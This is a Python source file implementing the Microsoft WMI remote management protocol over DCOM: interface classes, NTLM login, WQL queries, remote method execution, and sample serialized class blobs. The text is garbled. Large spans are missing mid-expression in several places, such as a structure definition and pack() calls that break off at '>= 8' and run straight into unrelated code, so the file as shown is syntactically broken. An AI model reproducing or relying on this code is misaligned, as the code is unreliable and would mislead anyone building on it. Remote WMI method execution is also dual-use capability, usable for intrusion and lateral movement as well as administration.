IID_IWbemWCOSmartEnum = uuidtup_to_bin(('423EC01E-2E35-11d2-B604-00104B703EFD', '0.0')) error_status_t = ULONG # lFlags WBEM_FLAG_RETURN_WBEM_COMPLETE = 0x00000000 WBEM_FLAG_UPDATE_ONLY = 0x00000001 WBEM_FLAG_CREATE_ONLY = 0x00000002 WBEM_FLAG_RETURN_IMMEDIATELY = 0x00000010 WBEM_FLAG_UPDATE_SAFE_MODE = 0x00000020 WBEM_FLAG_FORWARD_ONLY = 0x00000020 WBEM_FLAG_NO_ERROR_OBJECT = 0x00000040 WBEM_FLAG_UPDATE_FORCE_MODE = 0x00000040 WBEM_FLAG_SEND_STATUS = 0x00000080 WBEM_FLAG_ENSURE_LOCATABLE = 0x00000100 WBEM_FLAG_DIRECT_READ = 0x00000200 WBEM_MASK_RESERVED_FLAGS = 0x0001F000 WBEM_FLAG_USE_AMENDED_QUALIFIERS = 0x00020000 WBEM_FLAG_STRONG_VALIDATION = 0x00100000 WBEM_FLAG_BACKUP_RESTORE_FORCE_SHUTDOWN = 0x00000001 WBEM_INFINITE = 0xffffffff ################################################################################ # STRUCTURES ################################################################################ class UCHAR_ARRAY_CV(NDRUniConformantVaryingArray): item = 'c' class PUCHAR_ARRAY_CV(NDRPOINTER): referent = ( ('Data', UCHAR_ARRAY_CV), ) class PMInterfacePointer_ARRAY_CV(NDRUniConformantVaryingArray): item = PMInterfacePointer REFGUID = PGUID class ULONG_ARRAY(NDRUniConformantArray): item = ULONG class PULONG_ARRAY(NDRPOINTER): referent = ( ('Data', ULONG_ARRAY), ) # 2.2.5 WBEM_CHANGE_FLAG_TYPE Enumeration class WBEM_CHANGE_FLAG_TYPE(NDRENUM): # [v1_enum] type structure = ( ('Data', '>= 8 # Now let's update the structure objRef = self.get_objRef() objRef = OBJREF_CUSTOM(objRef) encodingUnit = ENCODING_UNIT(objRef['pObjectData']) currentClass = encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] = '' encodingUnit['ObjectBlock']['InstanceType']['NdTable_ValueTable'] = packedNdTable + valueTable encodingUnit['ObjectBlock']['InstanceType']['InstanceHeap']['HeapLength'] = len(instanceHeap) | 0x80000000 encodingUnit['ObjectBlock']['InstanceType']['InstanceHeap']['HeapItem'] = instanceHeap encodingUnit['ObjectBlock']['InstanceType']['EncodingLength'] = len(encodingUnit['ObjectBlock']['InstanceType']) encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] = currentClass encodingUnit['ObjectEncodingLength'] = len(encodingUnit['ObjectBlock']) #encodingUnit.dump() #ENCODING_UNIT(str(encodingUnit)).dump() objRef['pObjectData'] = encodingUnit return objRef def SpawnInstance(self): # Doing something similar to: # http://msdn.microsoft.com/en-us/library/aa391458(v=vs.85).aspx # if self.encodingUnit['ObjectBlock'].isInstance() is False: # We need to convert some things to transform a class into an instance encodingUnit = ENCODING_UNIT() instanceData = OBJECT_BLOCK() instanceData.structure += OBJECT_BLOCK.decoration instanceData.structure += OBJECT_BLOCK.instanceType instanceData['ObjectFlags'] = 6 instanceData['Decoration'] = str(self.encodingUnit['ObjectBlock']['Decoration']) instanceType = INSTANCE_TYPE() instanceType['CurrentClass'] = '' # Let's create the heap for the parameters instanceHeap = '' valueTable = '' parametersClass = ENCODED_STRING() parametersClass['Character'] = self.getClassName() instanceHeap += str(parametersClass) curHeapPtr = len(instanceHeap) ndTable = 0 properties = self.getProperties() # Let's initialize the values for i, propName in enumerate(properties): propRecord = properties[propName] pType = propRecord['type'] & (~(CIM_ARRAY_FLAG|Inherited)) if propRecord['type'] & CIM_ARRAY_FLAG: # Not yet ready #print paramDefinition #raise packStr = HEAPREF[:-2] else: packStr = CIM_TYPES_REF[pType][:-2] if propRecord['type'] & CIM_ARRAY_FLAG: valueTable += pack(packStr, 0) elif pType not in (CIM_TYPE_ENUM.CIM_TYPE_STRING.value, CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value, CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value, CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value): valueTable += pack(packStr, 0) elif pType == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value: # For now we just pack None valueTable += '\x00'*4 # The default property value is NULL, and it is # inherited from a parent class. ndTable |= 3 << (2*i) else: strIn = ENCODED_STRING() strIn['Character'] = '' valueTable += pack('>= 8 instanceType['NdTable_ValueTable'] = packedNdTable + valueTable instanceType['InstanceQualifierSet'] = '\x04\x00\x00\x00\x01' instanceType['InstanceHeap'] = HEAP() instanceType['InstanceHeap']['HeapItem'] = instanceHeap instanceType['InstanceHeap']['HeapLength'] = len(instanceHeap) | 0x80000000 instanceType['EncodingLength'] = len(instanceType) instanceType['CurrentClass'] = self.encodingUnit['ObjectBlock']['ClassType']['CurrentClass']['ClassPart'] instanceData['InstanceType'] = str(instanceType) encodingUnit['ObjectBlock'] = instanceData encodingUnit['ObjectEncodingLength'] = len(instanceData) #ENCODING_UNIT(str(encodingUnit)).dump() objRefCustomIn = OBJREF_CUSTOM() objRefCustomIn['iid'] = self._iid objRefCustomIn['clsid'] = CLSID_WbemClassObject objRefCustomIn['cbExtension'] = 0 objRefCustomIn['ObjectReferenceSize'] = len(encodingUnit) objRefCustomIn['pObjectData'] = encodingUnit # There's gotta be a better way to do this # I will reimplement this stuff once I know it works import copy newObj = copy.deepcopy(self) newObj.set_objRef(str(objRefCustomIn)) newObj.process_interface(str(objRefCustomIn)) newObj.encodingUnit = ENCODING_UNIT(str(encodingUnit)) newObj.parseObject() if newObj.encodingUnit['ObjectBlock'].isInstance() is False: newObj.createMethods(newObj.getClassName(), newObj.getMethods()) else: newObj.createProperties(newObj.getProperties()) return newObj else: return self def createProperties(self, properties): for property in properties: setattr(self, property, properties[property]['value']) def createMethods(self, classOrInstance, methods): class FunctionPool: def __init__(self,function): self.function = function def __getitem__(self,item): return partial(self.function,item) @FunctionPool def innerMethod(staticArgs, *args): classOrInstance = staticArgs[0] methodDefinition = staticArgs[1] if methodDefinition['InParams'] is not None: if len(args) != len(methodDefinition['InParams']): LOG.error("Function called with %d parameters instead of %d!" % (len(args), len(methodDefinition['InParams']))) return None # In Params encodingUnit = ENCODING_UNIT() inParams = OBJECT_BLOCK() inParams.structure += OBJECT_BLOCK.instanceType inParams['ObjectFlags'] = 2 inParams['Decoration'] = '' instanceType = INSTANCE_TYPE() instanceType['CurrentClass'] = '' instanceType['InstanceQualifierSet'] = '\x04\x00\x00\x00\x01' # Let's create the heap for the parameters instanceHeap = '' valueTable = '' parametersClass = ENCODED_STRING() parametersClass['Character'] = '__PARAMETERS' instanceHeap += str(parametersClass) curHeapPtr = len(instanceHeap) ndTable = 0 for i in range(len(args)): paramDefinition = methodDefinition['InParams'].values()[i] inArg = args[i] pType = paramDefinition['type'] & (~(CIM_ARRAY_FLAG|Inherited)) if paramDefinition['type'] & CIM_ARRAY_FLAG: # Not yet ready #print paramDefinition #raise packStr = HEAPREF[:-2] else: packStr = CIM_TYPES_REF[pType][:-2] if paramDefinition['type'] & CIM_ARRAY_FLAG: if inArg is None: valueTable += pack(packStr, 0) else: # ToDo # Not yet ready raise elif pType not in (CIM_TYPE_ENUM.CIM_TYPE_STRING.value, CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value, CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value, CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value): valueTable += pack(packStr, inArg) elif pType == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value: # For now we just pack None valueTable += '\x00'*4 # The default property value is NULL, and it is # inherited from a parent class. if inArg is None: ndTable |= 3 << (2*i) else: strIn = ENCODED_STRING() strIn['Character'] = inArg valueTable += pack('>= 8 instanceType['NdTable_ValueTable'] = packedNdTable + valueTable heapRecord = HEAP() heapRecord['HeapLength'] = len(instanceHeap) | 0x80000000 heapRecord['HeapItem'] = instanceHeap instanceType['InstanceHeap'] = heapRecord instanceType['EncodingLength'] = len(instanceType) inMethods = methodDefinition['InParamsRaw']['ClassType']['CurrentClass']['ClassPart'] inMethods['ClassHeader']['EncodingLength'] = len( str(methodDefinition['InParamsRaw']['ClassType']['CurrentClass']['ClassPart'])) instanceType['CurrentClass'] = inMethods inParams['InstanceType'] = str(instanceType) encodingUnit['ObjectBlock'] = inParams encodingUnit['ObjectEncodingLength'] = len(inParams) objRefCustomIn = OBJREF_CUSTOM() objRefCustomIn['iid'] = self._iid objRefCustomIn['clsid'] = CLSID_WbemClassObject objRefCustomIn['cbExtension'] = 0 objRefCustomIn['ObjectReferenceSize'] = len(encodingUnit) objRefCustomIn['pObjectData'] = encodingUnit else: objRefCustomIn = NULL ### OutParams encodingUnit = ENCODING_UNIT() outParams = OBJECT_BLOCK() outParams.structure += OBJECT_BLOCK.instanceType outParams['ObjectFlags'] = 2 outParams['Decoration'] = '' instanceType = INSTANCE_TYPE() instanceType['CurrentClass'] = '' instanceType['NdTable_ValueTable'] = '' instanceType['InstanceQualifierSet'] = '' instanceType['InstanceHeap'] = '' instanceType['EncodingLength'] = len(instanceType) instanceType['CurrentClass'] = str(methodDefinition['OutParamsRaw']['ClassType']['CurrentClass']['ClassPart']) outParams['InstanceType'] = str(instanceType) encodingUnit['ObjectBlock'] = outParams encodingUnit['ObjectEncodingLength'] = len(outParams) objRefCustom = OBJREF_CUSTOM() objRefCustom['iid'] = self._iid objRefCustom['clsid'] = CLSID_WbemClassObject objRefCustom['cbExtension'] = 0 objRefCustom['ObjectReferenceSize'] = len(encodingUnit) objRefCustom['pObjectData'] = encodingUnit try: return self.__iWbemServices.ExecMethod(classOrInstance, methodDefinition['name'], pInParams = objRefCustomIn ) #return self.__iWbemServices.ExecMethod('Win32_Process.Handle="436"', methodDefinition['name'], # pInParams=objRefCustomIn).getObject().ctCurrent['properties'] except Exception, e: #import traceback #print traceback.print_exc() LOG.error(str(e)) for methodName in methods: innerMethod.__name__ = methodName setattr(self,innerMethod.__name__,innerMethod[classOrInstance,methods[methodName]]) #methods = self.encodingUnit['ObjectBlock'] class IWbemLoginClientID(IRemUnknown): def __init__(self, interface): IRemUnknown.__init__(self,interface) self._iid = IID_IWbemLoginClientID def SetClientInfo(self, wszClientMachine, lClientProcId = 1234): request = IWbemLoginClientID_SetClientInfo() request['wszClientMachine'] = checkNullString(wszClientMachine) request['lClientProcId'] = lClientProcId request['lReserved'] = 0 resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp class IWbemLoginHelper(IRemUnknown): def __init__(self, interface): IRemUnknown.__init__(self,interface) self._iid = IID_IWbemLoginHelper def SetEvent(self, sEventToSet): request = IWbemLoginHelper_SetEvent() request['sEventToSet'] = sEventToSet resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp class IWbemWCOSmartEnum(IRemUnknown): def __init__(self, interface): IRemUnknown.__init__(self,interface) self._iid = IID_IWbemWCOSmartEnum def Next(self, proxyGUID, lTimeout, uCount): request = IWbemWCOSmartEnum_Next() request['proxyGUID'] = proxyGUID request['lTimeout'] = lTimeout request['uCount'] = uCount resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp class IWbemFetchSmartEnum(IRemUnknown): def __init__(self, interface): IRemUnknown.__init__(self,interface) self._iid = IID_IWbemFetchSmartEnum def GetSmartEnum(self, lTimeout): request = IWbemFetchSmartEnum_GetSmartEnum() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp class IWbemCallResult(IRemUnknown): def __init__(self, interface): IRemUnknown.__init__(self,interface) self._iid = IID_IWbemCallResult def GetResultObject(self, lTimeout): request = IWbemCallResult_GetResultObject() request['lTimeout'] = lTimeout resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def GetResultString(self, lTimeout): request = IWbemCallResult_GetResultString() request['lTimeout'] = lTimeout resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def GetResultServices(self, lTimeout): request = IWbemCallResult_GetResultServices() request['lTimeout'] = lTimeout resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def GetCallStatus(self, lTimeout): request = IWbemCallResult_GetCallStatus() request['lTimeout'] = lTimeout resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp['plStatus'] class IEnumWbemClassObject(IRemUnknown): def __init__(self, interface, iWbemServices = None): IRemUnknown.__init__(self,interface) self._iid = IID_IEnumWbemClassObject self.__iWbemServices = iWbemServices def Reset(self): request = IEnumWbemClassObject_Reset() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def Next(self, lTimeout, uCount): request = IEnumWbemClassObject_Next() request['lTimeout'] = lTimeout request['uCount'] = uCount resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) interfaces = list() for interface in resp['apObjects']: interfaces.append(IWbemClassObject( INTERFACE(self.get_cinstance(), ''.join(interface['abData']), self.get_ipidRemUnknown(), oxid=self.get_oxid(), target=self.get_target()), self.__iWbemServices)) return interfaces def NextAsync(self, lTimeout, pSink): request = IEnumWbemClassObject_NextAsync() request['lTimeout'] = lTimeout request['pSink'] = pSink resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def Clone(self): request = IEnumWbemClassObject_Clone() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def Skip(self, lTimeout, uCount): request = IEnumWbemClassObject_Skip() request['lTimeout'] = lTimeout request['uCount'] = uCount resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp class IWbemServices(IRemUnknown): def __init__(self, interface): IRemUnknown.__init__(self,interface) self._iid = IID_IWbemServices def OpenNamespace(self, strNamespace, lFlags=0, pCtx = NULL): request = IWbemServices_OpenNamespace() request['strNamespace']['asData'] = strNamespace request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def CancelAsyncCall(self,IWbemObjectSink ): request = IWbemServices_CancelAsyncCall() request['IWbemObjectSink'] = IWbemObjectSink resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp['ErrorCode'] def QueryObjectSink(self): request = IWbemServices_QueryObjectSink() request['lFlags'] = 0 resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return INTERFACE(self.get_cinstance(), ''.join(resp['ppResponseHandler']['abData']), self.get_ipidRemUnknown(), target=self.get_target()) def GetObject(self, strObjectPath, lFlags=0, pCtx=NULL): request = IWbemServices_GetObject() request['strObjectPath']['asData'] = strObjectPath request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) ppObject = IWbemClassObject( INTERFACE(self.get_cinstance(), ''.join(resp['ppObject']['abData']), self.get_ipidRemUnknown(), oxid=self.get_oxid(), target=self.get_target()), self) if resp['ppCallResult'] != NULL: ppcallResult = IWbemCallResult( INTERFACE(self.get_cinstance(), ''.join(resp['ppObject']['abData']), self.get_ipidRemUnknown(), target=self.get_target())) else: ppcallResult = NULL return ppObject, ppcallResult def GetObjectAsync(self, strNamespace, lFlags=0, pCtx = NULL): request = IWbemServices_GetObjectAsync() request['strObjectPath']['asData'] = checkNullString(strNamespace) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def PutClass(self, pObject, lFlags=0, pCtx=NULL): request = IWbemServices_PutClass() request['pObject'] = pObject request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def PutClassAsync(self, pObject, lFlags=0, pCtx=NULL): request = IWbemServices_PutClassAsync() request['pObject'] = pObject request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def DeleteClass(self, strClass, lFlags=0, pCtx=NULL): request = IWbemServices_DeleteClass() request['strClass']['asData'] = checkNullString(strClass) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def DeleteClassAsync(self, strClass, lFlags=0, pCtx=NULL): request = IWbemServices_DeleteClassAsync() request['strClass']['asData'] = checkNullString(strClass) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def CreateClassEnum(self, strSuperClass, lFlags=0, pCtx=NULL): request = IWbemServices_CreateClassEnum() request['strSuperClass']['asData'] = checkNullString(strSuperClass) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def CreateClassEnumAsync(self, strSuperClass, lFlags=0, pCtx=NULL): request = IWbemServices_CreateClassEnumAsync() request['strSuperClass']['asData'] = checkNullString(strSuperClass) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def PutInstance(self, pInst, lFlags=0, pCtx=NULL): request = IWbemServices_PutInstance() if pInst is NULL: request['pInst'] = pInst else: request['pInst']['ulCntData'] = len(pInst) request['pInst']['abData'] = list(str(pInst)) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return IWbemCallResult( INTERFACE(self.get_cinstance(), ''.join(resp['ppCallResult']['abData']), self.get_ipidRemUnknown(), target=self.get_target())) def PutInstanceAsync(self, pInst, lFlags=0, pCtx=NULL): request = IWbemServices_PutInstanceAsync() request['pInst'] = pInst request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def DeleteInstance(self, strObjectPath, lFlags=0, pCtx=NULL): request = IWbemServices_DeleteInstance() request['strObjectPath']['asData'] = checkNullString(strObjectPath) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return IWbemCallResult( INTERFACE(self.get_cinstance(), ''.join(resp['ppCallResult']['abData']), self.get_ipidRemUnknown(), target=self.get_target())) def DeleteInstanceAsync(self, strObjectPath, lFlags=0, pCtx=NULL): request = IWbemServices_DeleteInstanceAsync() request['strObjectPath']['asData'] = checkNullString(strObjectPath) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def CreateInstanceEnum(self, strSuperClass, lFlags=0, pCtx=NULL): request = IWbemServices_CreateInstanceEnum() request['strSuperClass']['asData'] = strSuperClass request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return IEnumWbemClassObject( INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target=self.get_target())) def CreateInstanceEnumAsync(self, strSuperClass, lFlags=0, pCtx=NULL): request = IWbemServices_CreateInstanceEnumAsync() request['strSuperClass']['asData'] = checkNullString(strSuperClass) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp #def ExecQuery(self, strQuery, lFlags=WBEM_QUERY_FLAG_TYPE.WBEM_FLAG_PROTOTYPE, pCtx=NULL): def ExecQuery(self, strQuery, lFlags=0, pCtx=NULL): request = IWbemServices_ExecQuery() request['strQueryLanguage']['asData'] = checkNullString('WQL') request['strQuery']['asData'] = checkNullString(strQuery) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return IEnumWbemClassObject( INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target=self.get_target()), self) def ExecQueryAsync(self, strQuery, lFlags=0, pCtx=NULL): request = IWbemServices_ExecQueryAsync() request['strQueryLanguage']['asData'] = checkNullString('WQL') request['strQuery']['asData'] = checkNullString(strQuery) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def ExecNotificationQuery(self, strQuery, lFlags=0, pCtx=NULL): request = IWbemServices_ExecNotificationQuery() request['strQueryLanguage']['asData'] = checkNullString('WQL') request['strQuery']['asData'] = checkNullString(strQuery) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return IEnumWbemClassObject( INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target=self.get_target()), self) def ExecNotificationQueryAsync(self, strQuery, lFlags=0, pCtx=NULL): request = IWbemServices_ExecNotificationQueryAsync() request['strQueryLanguage']['asData'] = checkNullString('WQL') request['strQuery']['asData'] = checkNullString(strQuery) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def ExecMethod(self, strObjectPath, strMethodName, lFlags=0, pCtx=NULL, pInParams=NULL, ppOutParams = NULL): request = IWbemServices_ExecMethod() request['strObjectPath']['asData'] = checkNullString(strObjectPath) request['strMethodName']['asData'] = checkNullString(strMethodName) request['lFlags'] = lFlags request['pCtx'] = pCtx if pInParams is NULL: request['pInParams'] = pInParams else: request['pInParams']['ulCntData'] = len(pInParams) request['pInParams']['abData'] = list(str(pInParams)) request.fields['ppCallResult'] = NULL if ppOutParams is NULL: request.fields['ppOutParams'].fields['Data'] = NULL else: request['ppOutParams']['ulCntData'] = len(str(ppOutParams)) request['ppOutParams']['abData'] = list(str(ppOutParams)) resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return IWbemClassObject( INTERFACE(self.get_cinstance(), ''.join(resp['ppOutParams']['abData']), self.get_ipidRemUnknown(), oxid=self.get_oxid(), target=self.get_target())) def ExecMethodAsync(self, strObjectPath, strMethodName, lFlags=0, pCtx=NULL, pInParams=NULL): request = IWbemServices_ExecMethodAsync() request['strObjectPath']['asData'] = checkNullString(strObjectPath) request['strMethodName']['asData'] = checkNullString(strMethodName) request['lFlags'] = lFlags request['pCtx'] = pCtx request['pInParams'] = pInParams resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp class IWbemLevel1Login(IRemUnknown): def __init__(self, interface): IRemUnknown.__init__(self,interface) self._iid = IID_IWbemLevel1Login def EstablishPosition(self): request = IWbemLevel1Login_EstablishPosition() request['reserved1'] = NULL request['reserved2'] = 0 resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp['LocaleVersion'] def RequestChallenge(self): request = IWbemLevel1Login_RequestChallenge() request['reserved1'] = NULL request['reserved2'] = NULL resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp['reserved3'] def WBEMLogin(self): request = IWbemLevel1Login_WBEMLogin() request['reserved1'] = NULL request['reserved2'] = NULL request['reserved3'] = 0 request['reserved4'] = NULL resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp['reserved5'] def NTLMLogin(self, wszNetworkResource, wszPreferredLocale, pCtx): request = IWbemLevel1Login_NTLMLogin() request['wszNetworkResource'] = checkNullString(wszNetworkResource) request['wszPreferredLocale'] = checkNullString(wszPreferredLocale) request['lFlags'] = 0 request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return IWbemServices( INTERFACE(self.get_cinstance(), ''.join(resp['ppNamespace']['abData']), self.get_ipidRemUnknown(), target=self.get_target())) if __name__ == '__main__': # Example 1 baseClass = 'xV4\x12\xd0\x00\x00\x00\x05\x00DPRAVAT-DEV\x00\x00ROOT\x00\x1d\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80f\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\n\x00\x00\x00\x05\xff\xff\xff\xff<\x00\x00\x80\x00Base\x00\x00Id\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x004\x00\x00\x00\x01\x00\x00\x80\x13\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x0c\x00\x00\x00\x00\x004\x00\x00\x00\x00\x80\x00\x80\x13\x0b\x00\x00\x00\xff\xff\x00sint32\x00' #encodingUnit = EncodingUnit(baseClass) #encodingUnit.dump() #encodingUnit['ObjectBlock'].printInformation() #print "LEN ", len(baseClass), len(encodingUnit) myClass = "xV4\x12.\x02\x00\x00\x05\x00DPRAVAT-DEV\x00\x00ROOT\x00f\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\n\x00\x00\x00\x05\xff\xff\xff\xff<\x00\x00\x80\x00Base\x00\x00Id\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x004\x00\x00\x00\x01\x00\x00\x80\x13\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x0c\x00\x00\x00\x00\x004\x00\x00\x00\x00\x80v\x01\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x0e\x00\x00\x00\x00Base\x00\x06\x00\x00\x00\x11\x00\x00\x00\t\x00\x00\x00\x00\x08\x00\x00\x00\x16\x00\x00\x00\x04\x00\x00\x00'\x00\x00\x00.\x00\x00\x00U\x00\x00\x00\\\x00\x00\x00\x99\x00\x00\x00\xa0\x00\x00\x00\xc7\x00\x00\x00\xcb\x00\x00\x00G\xff\xff\xff\xff\xff\xff\xff\xff\xfd\x00\x00\x00\xff\xff\xff\xff\x11\x01\x00\x80\x00MyClass\x00\x00Description\x00\x00MyClass Example\x00\x00Array\x00\x13 \x00\x00\x03\x00\x0c\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00M\x00\x00\x00\x00uint32\x00\x00Data1\x00\x08\x00\x00\x00\x01\x00\x04\x00\x00\x00\x01\x00\x00\x00'\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\x91\x00\x00\x00\x03\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x04\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x00string\x00\x00Data2\x00\x08\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\xbf\x00\x00\x00\x00string\x00\x00Id\x00\x03@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80#\x08\x00\x00\x00\xf5\x00\x00\x00\x01\x00\x00\x803\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x00defaultValue\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00s\x00\x00\x00\x802\x00\x00defaultValue\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00" #hexdump(myClass) #encodingUnit = EncodingUnit(myClass) #print "LEN ", len(myClass), len(encodingUnit) #encodingUnit.dump() #encodingUnit['ObjectBlock'].printInformation() instanceMyClass = "xV4\x12\xd3\x01\x00\x00\x06\x00DPRAVAT-DEV\x00\x00ROOT\x00v\x01\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x0e\x00\x00\x00\x00Base\x00\x06\x00\x00\x00\x11\x00\x00\x00\t\x00\x00\x00\x00\x08\x00\x00\x00\x16\x00\x00\x00\x04\x00\x00\x00'\x00\x00\x00.\x00\x00\x00U\x00\x00\x00\\\x00\x00\x00\x99\x00\x00\x00\xa0\x00\x00\x00\xc7\x00\x00\x00\xcb\x00\x00\x00G\xff\xff\xff\xff\xff\xff\xff\xff\xfd\x00\x00\x00\xff\xff\xff\xff\x11\x01\x00\x80\x00MyClass\x00\x00Description\x00\x00MyClass Example\x00\x00Array\x00\x13 \x00\x00\x03\x00\x0c\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00M\x00\x00\x00\x00uint32\x00\x00Data1\x00\x08\x00\x00\x00\x01\x00\x04\x00\x00\x00\x01\x00\x00\x00'\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\x91\x00\x00\x00\x03\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x04\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x00string\x00\x00Data2\x00\x08\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\xbf\x00\x00\x00\x00string\x00\x00Id\x00\x03@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80#\x08\x00\x00\x00\xf5\x00\x00\x00\x01\x00\x00\x803\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x00defaultValue\x00\x00\x00\x00\x00\x00\x00I\x00\x00\x00\x00\x00\x00\x00\x00 {\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x04\x00\x00\x00\x01&\x00\x00\x80\x00MyClass\x00\x03\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x00StringField\x00" #encodingUnit = EncodingUnit(instanceMyClass) #encodingUnit.dump() #encodingUnit['ObjectBlock'].printInformation() 